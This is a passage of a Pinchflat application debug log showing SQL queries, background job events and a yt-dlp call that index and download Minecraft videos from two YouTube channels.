pull off the ultimate sleepover pranks and find my stolen Golden Cookie?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Using CAMERAS to Prank My Friends Sleepover in Minecraft", "fce00bf8-c638-4eb7-bf91-9f287ddb7576", "1DuV4o4JX8c", false, "https://www.youtube.com/watch?v=1DuV4o4JX8c", 30, [], 945, false, 18, "/downloads/rory/Milo and Chip/2026-04-29 Using CAMERAS to Prank My Friends Sleepover in Minecraft/Using CAMERAS to Prank My Friends Sleepover in Minecraft [1DuV4o4JX8c].mp4", false, false, 98, ~U[2026-04-29 23:00:02Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "I Caught My Friends on SPY CAMERAS! 📸 🤫 Can I pull off the ultimate sleepover pranks and find my stolen Golden Cookie?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Using CAMERAS to Prank My Friends Sleepover in Minecraft", "1DuV4o4JX8c", "https://www.youtube.com/watch?v=1DuV4o4JX8c", 30, 945, false, "/downloads/rory/Milo and Chip/2026-04-29 Using CAMERAS to Prank My Friends Sleepover in Minecraft/Using CAMERAS to Prank My Friends Sleepover in Minecraft [1DuV4o4JX8c].mp4", false, ~U[2026-04-29 23:00:02Z]] 19:40:54.611 [debug] QUERY OK source="sources" db=0.3ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.612 [debug] QUERY OK source="media_items" db=1.0ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-25 23:00:04Z], 30] 19:40:54.613 [debug] QUERY OK source="media_items" db=0.7ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["POLICE vs MILITARY: Ultimate Base Defense! 👮 🎖️ Will our custom tanks and siren blasters be enough to stop the Mutant Creeper?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "POLICE vs MILITARY: Survival Battle in Minecraft", "26581182-83a5-4d73-8346-14072e3eaba4", "1To5x_fzNZs", false, "https://www.youtube.com/watch?v=1To5x_fzNZs", 30, [], 908, false, 19, "/downloads/rory/Milo and Chip/2026-04-25 POLICE vs MILITARY: Survival Battle in Minecraft/POLICE vs MILITARY: Survival Battle in Minecraft [1To5x_fzNZs].mp4", false, false, 98, ~U[2026-04-25 23:00:04Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "POLICE vs MILITARY: Ultimate Base Defense! 👮 🎖️ Will our custom tanks and siren blasters be enough to stop the Mutant Creeper?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "POLICE vs MILITARY: Survival Battle in Minecraft", "1To5x_fzNZs", "https://www.youtube.com/watch?v=1To5x_fzNZs", 30, 908, false, "/downloads/rory/Milo and Chip/2026-04-25 POLICE vs MILITARY: Survival Battle in Minecraft/POLICE vs MILITARY: Survival Battle in Minecraft [1To5x_fzNZs].mp4", false, ~U[2026-04-25 23:00:04Z]] 19:40:54.613 [debug] QUERY OK source="sources" db=0.2ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.614 [debug] QUERY OK source="media_items" db=0.9ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-24 23:00:02Z], 30] 19:40:54.617 [debug] QUERY OK source="media_items" db=1.8ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Surviving a MASSIVE Wave of Falling Food! 🍔 🌊 Can our secret glass bunker withstand the ultimate food tsunami?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "FOOD TSUNAMI vs DOOMSDAY Glass Bunker in Minecraft", "30d5daae-4c4b-4138-aa56-28f5f05aa048", "22o08dvxn3A", false, "https://www.youtube.com/watch?v=22o08dvxn3A", 30, [], 1178, false, 20, "/downloads/rory/Milo and Chip/2026-04-24 FOOD TSUNAMI vs DOOMSDAY Glass Bunker in Minecraft/FOOD TSUNAMI vs DOOMSDAY Glass Bunker in Minecraft [22o08dvxn3A].mp4", false, false, 98, ~U[2026-04-24 23:00:02Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "Surviving a MASSIVE Wave of Falling Food! 🍔 🌊 Can our secret glass bunker withstand the ultimate food tsunami?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "FOOD TSUNAMI vs DOOMSDAY Glass Bunker in Minecraft", "22o08dvxn3A", "https://www.youtube.com/watch?v=22o08dvxn3A", 30, 1178, false, "/downloads/rory/Milo and Chip/2026-04-24 FOOD TSUNAMI vs DOOMSDAY Glass Bunker in Minecraft/FOOD TSUNAMI vs DOOMSDAY Glass Bunker in Minecraft [22o08dvxn3A].mp4", false, ~U[2026-04-24 23:00:02Z]] 19:40:54.617 [debug] QUERY OK source="sources" db=0.2ms idle=5.0ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], 30] 19:40:54.619 [debug] QUERY OK source="media_items" db=1.1ms idle=4.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 19:40:54.620 [debug] QUERY OK source="media_items" db=1.1ms idle=5.3ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 19:40:54.620 [debug] QUERY OK source="media_items" db=0.2ms idle=5.5ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 19:40:54.622 [debug] QUERY OK source="tasks" db=0.2ms idle=2.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7263, 30, ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z]] 19:40:54.622 [info] {"args":{"id":30},"id":7247,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":75515356,"event":"job:stop","queue_time":493113,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:40:55.471 [info] {"source":"oban","duration":1733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:00.980 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:41:25.474 [info] {"source":"oban","duration":1787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:55.477 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:00.981 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:42:20.462 [info] {"args":{"id":31},"id":7254,"meta":{},"system_time":1780443740462087659,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:42:20.462 [debug] QUERY OK source="sources" db=0.1ms idle=182.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:42:20.462 [debug] QUERY OK source="settings" db=0.1ms idle=182.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:20.464 [debug] QUERY OK source="media_items" db=1.1ms idle=183.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 19:42:20.464 [debug] QUERY OK source="media_items" db=0.2ms idle=7.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 19:42:20.464 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:42:20.465 [debug] QUERY OK source="settings" db=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:20.465 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:20.467 [debug] QUERY OK source="media_items" db=1.5ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [31] 19:42:20.469 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 19:42:20.469 [debug] Current batch of media processed. Will check again in 1000ms 19:42:20.469 [debug] QUERY OK source="settings" db=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:20.469 [debug] QUERY OK source="settings" db=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:20.469 [debug] QUERY OK source="settings" db=0.1ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:20.469 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@mongo-mc --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rory/Mongo/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/d5/f8/d5f8574e895e62c655072f97517aabd0859eb8c50e29f2e9fc9ca2845bcd5d38.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d8/7d/d87db21db16ba573ee6027740f773c5c7ef1934adc45f638c59dc3ef1bc39891.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:42:21.469 [debug] Current batch of media processed. Will check again in 1000ms 19:42:22.470 [debug] Current batch of media processed. Will check again in 1000ms 19:42:23.471 [debug] Current batch of media processed. Will check again in 1000ms 19:42:24.472 [debug] Current batch of media processed. Will check again in 1000ms 19:42:25.473 [debug] Current batch of media processed. Will check again in 1000ms 19:42:25.480 [info] {"source":"oban","duration":1613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:26.474 [debug] Current batch of media processed. Will check again in 1000ms 19:42:27.475 [debug] Current batch of media processed. Will check again in 1000ms 19:42:28.476 [debug] Current batch of media processed. Will check again in 1000ms 19:42:29.477 [debug] Current batch of media processed. Will check again in 1000ms 19:42:30.478 [debug] Current batch of media processed. Will check again in 1000ms 19:42:31.479 [debug] Current batch of media processed. Will check again in 1000ms 19:42:32.480 [debug] Current batch of media processed. Will check again in 1000ms 19:42:33.481 [debug] Current batch of media processed. Will check again in 1000ms 19:42:34.482 [debug] Current batch of media processed. Will check again in 1000ms 19:42:35.483 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mongo pretends to be BABY GUGUGAGA PENGUIN in Minecraft! Using his BABY GUGUGAGA PENGUIN disguise, Mongo tries to fool his friends and keep his secret hidden. Will Mongo be able to stay disguised as BABY GUGUGAGA PENGUIN, or will his friends discover the truth? Watch as Mongo uses his BABY GUGUGAGA PENGUIN powers to prank his friends and create chaos in Minecraft!\n\n#mongo #Minecraft #MinecraftMod", "duration" => 1205, "filename" => "/downloads/rory/Mongo/2026-06-02 I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!/I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft! [tRYboGBQZcs].mp4", "id" => "tRYboGBQZcs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=tRYboGBQZcs", "playlist_index" => 1, "timestamp" => 1780419606, "title" => "I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!", "upload_date" => "20260602"} 19:42:35.484 [debug] QUERY OK source="sources" db=0.2ms idle=1204.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:42:35.484 [debug] QUERY OK source="sources" db=0.1ms idle=1204.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:42:35.485 [debug] QUERY OK source="media_items" db=1.0ms idle=1204.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-02 17:00:06Z], 31] 19:42:35.486 [debug] QUERY OK source="media_items" db=0.7ms idle=997.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mongo pretends to be BABY GUGUGAGA PENGUIN in Minecraft! Using his BABY GUGUGAGA PENGUIN disguise, Mongo tries to fool his friends and keep his secret hidden. Will Mongo be able to stay disguised as BABY GUGUGAGA PENGUIN, or will his friends discover the truth? Watch as Mongo uses his BABY GUGUGAGA PENGUIN powers to prank his friends and create chaos in Minecraft!\n\n#mongo #Minecraft #MinecraftMod", "I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!", "4adf5ac9-b70c-4182-9100-86b50d6f5878", "tRYboGBQZcs", false, "https://www.youtube.com/watch?v=tRYboGBQZcs", 31, [], 1205, false, 1, "/downloads/rory/Mongo/2026-06-02 I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!/I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft! [tRYboGBQZcs].mp4", false, false, 99, ~U[2026-06-02 17:00:06Z], ~U[2026-06-02 23:42:35Z], ~U[2026-06-02 23:42:35Z], "Today, Mongo pretends to be BABY GUGUGAGA PENGUIN in Minecraft! Using his BABY GUGUGAGA PENGUIN disguise, Mongo tries to fool his friends and keep his secret hidden. Will Mongo be able to stay disguised as BABY GUGUGAGA PENGUIN, or will his friends discover the truth? Watch as Mongo uses his BABY GUGUGAGA PENGUIN powers to prank his friends and create chaos in Minecraft!\n\n#mongo #Minecraft #MinecraftMod", "I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!", "tRYboGBQZcs", "https://www.youtube.com/watch?v=tRYboGBQZcs", 31, 1205, false, "/downloads/rory/Mongo/2026-06-02 I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!/I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft! [tRYboGBQZcs].mp4", false, ~U[2026-06-02 17:00:06Z]] 19:42:35.487 [debug] QUERY OK source="sources" db=0.2ms idle=207.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:42:35.487 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:42:35.488 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [141299] 19:42:35.488 [info] Kicking off download for media item #141299 (tRYboGBQZcs) 19:42:35.489 [debug] QUERY OK source="tasks" db=0.1ms idle=2.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" 